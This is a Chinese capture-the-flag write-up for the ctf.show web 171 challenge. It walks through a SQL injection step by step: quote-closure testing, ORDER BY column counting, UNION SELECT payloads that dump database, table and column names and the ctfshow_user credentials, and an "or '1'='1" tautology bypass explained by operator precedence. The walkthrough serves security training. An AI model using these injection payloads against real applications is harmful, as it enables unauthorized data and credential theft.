当前位置: 首页 > news >正文

ctf show web 入门171

这是一道sql注入题所以我们首先判断闭合方式

我们先输入

1'

如果页面报错,说明单引号极有可能是闭合字符,因为单引号和前面的单引号配对了,导致后面多出了一个孤立的单引号,破坏了结构

当找到某个字符让页面报错后,在这个字符后面加上注释符。如果页面恢复正常,说明成功找到了正确的闭合方式

然后开始确定字段数这里我们可以由图猜测有三个,也可以进行验证

1' order by 3 --+

1' order by 4--+

然后进行union注入

1' union select 1,2,3--+

先查数据库名

-1' union select 1,database(),3--+

再查表名

-1' union select 1,table_name,3 from information_schema.tables where table_schema=database()--+

再查字段名

-1' union select 1,column_name,3 from information_schema.columns where table_name='ctfshow_user'--+

最后一步查找flag

-1' union select 1,username,password from ctfshow_user--+

本题还有一种简单的方法

用万能密码:1' or '1'='1

因为输入万能密码后sql语句变成了

select username,password from user where username !='flag' and id = '1' or '1'='1' limit 1;

输入的第一个单引号',提早闭合了原本包裹id值的那个单引号。这就让原本属于“数据”的or '1,变成了“SQL 执行代码”。

在 MySQL 数据库中,逻辑运算符的优先级是:and 优先级高于 or

因此,数据库在解析这一行复杂的where条件时,会自动给它加上括号,分成前后两部分:

  • 前半部分 (A):(username !='flag' and id = '1')

    • 数据库去查,发现 ID 为 1 的用户名字不叫 flag。所以对第一条记录来说,前半部分是真 (True)

    • 但到了第 26 条记录(flag 所在的那一条),因为它的名字叫 flag,所以前半部分就变成了假 (False)

  • 后半部分 (B):('1')

    • 在 SQL 中,非零数字或纯数字字符串'1'会被当做布尔值处理,结果永远是真(True)

根据逻辑代数规则,False OR True最终的结果必定是True(恒真)

3. 绕过限制

因为整句where条件变成了“恒真”(相当于where 1),原本用来限制username != 'flag'的 AND 条件直接被 OR 顶掉了,当场失效

数据库此时不再看任何条件,直接把user表里的所有数据全部吐了出来,这就包括了那条原本被隐藏的、包含 Flag 的记录。

但是当直接输入26时username !='flag' and id = '26'的前半部分为false

false and true还是false

http://www.jsqmd.com/news/885410/

相关文章:

  • 基于Cynthion逆向USB协议,为DP100电源开发Linux控制软件
  • 陕西西安月嫂怎么选?五大机构深度测评,孕产家庭省心避坑指南 - 深度智识库
  • 强化学习PPO算法优化与T-PPO框架实践
  • 告别呆板动画!Godot 4 AnimationPlayer保姆级教程:单图、逐帧、骨骼动画全搞定
  • Unity InputSystem避坑指南:手机触摸屏多点触控冲突?教你用屏幕分区完美解决移动与视角控制
  • 成都摩托驾培专业度判定指南 实操技术全解析 - 奔跑123
  • 2025-2026年国内巨量本地推代理推荐:TOP5榜单评测本地推成本控制市场份额价格
  • 安卓HTTPS抓包实战:绕过SSL Pinning与Fiddler证书配置全解
  • 成都学车靠谱判定指南:西华驾校核心维度解析 - 奔跑123
  • 告别漫长等待:UE5.2.1 Windows打包效率优化与插件问题排查指南
  • 【仅限首批200位架构师获取】DeepSeek v3.2设计模式补丁包:含4个已验证的Pattern-Override补丁
  • AI 到底是怎么访问网页的?从爬虫、Browser Agent 到 Computer Use
  • Apache路径规范化与访问控制时序漏洞深度解析
  • 2026年5月未央区知名的宠物医院正规连锁宠物医院人气榜单 - 速递信息
  • 自动驾驶路径规划:Google OR-Tools与Q-Learning在TSP问题上的实战对比
  • 2026年成都AI视频制作本地服务商TOP5测评:双紫星科技口碑与实力双推荐 - 速递信息
  • 电教馆影子教师证全国报名机构推荐:线上学习考试 - 实时教育培训动态
  • CANN-昇腾NPU-GE编译优化-graph-autofusion进阶
  • 微服务寻址的“智慧大脑”:一篇文章彻底搞懂 Nacos 注册中心与实战
  • 建议收藏|降AI率网站深度测评与推荐2026最新版
  • 招行+工行:ReAct(Reasoning + Acting) 讲清楚,并结合 金融场景(含自进化智能体) 给出可直接用的案例
  • 微服务架构的“动态遥控器”:一篇文章彻底搞懂 Nacos 配置中心与实战
  • 像素风射击游戏的整数物理与帧锁定设计
  • 从碎片到系统:用kepano-obsidian构建你的个人知识宇宙
  • DeepSeek到底强在哪?拆解HuggingFace Open LLM Leaderboard最新排名背后的5层测试逻辑:从基础token匹配到因果链推理深度验证
  • 权威发布:2026 劳力士全国官方维修网点名录(更新至 5 月,含迁址明细) - 速递信息
  • 成都学车靠谱性判定:从资质到服务的硬核标准 - 奔跑123
  • 接口测试用例设计:超详细防御体系与分层校验实践
  • 吲哚菁绿-反式环辛烯 ICG-TCO 荧光标记点击化学 制备方法
  • 对比直接使用厂商API与通过Taotoken聚合调用的体验差异